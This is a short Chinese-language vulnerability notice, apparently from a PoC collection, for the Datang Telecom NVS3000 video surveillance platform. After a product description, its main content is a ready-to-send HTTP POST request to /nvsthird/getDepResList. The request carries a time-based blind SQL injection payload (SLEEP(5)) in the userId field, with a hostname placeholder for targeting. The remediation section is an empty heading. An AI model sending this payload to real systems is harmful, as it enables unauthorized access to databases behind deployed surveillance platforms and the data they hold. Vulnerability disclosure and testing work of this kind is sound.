暂无
高危
大唐电信NVS3000综合视频监控平台是一种基于宽带网络的图像监控、存储、管理的远程视频监控系统。该系统结合了电信、网通等运营企业、或其它行业、企事业单位的内部网络，实现了跨域、大范围的统一监控、存储、管理、资源共享，为行业管理决策者提供全新、直观、扩大视觉和听觉范围的管理工具。
大唐电信NVS3000综合视频监控平台
0x05 POC
POST /nvsthird/getDepResList HTTP/1.1Host: {{Hostname}}X-Requested-With: XMLHttpRequestContent-Type: application/jsonAccept-Encoding: gzip, deflateAccept: application/json, text/javascript, */*; q=0.01Accept-Language: zh-CN,zh;q=0.9User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Content-Length: 49{"userId":"1' AND (SELECT 8845 FROM (SELECT(SLEEP(5)))KRNM) AND 'JWDU'='JWDU"}
0x06 修复建议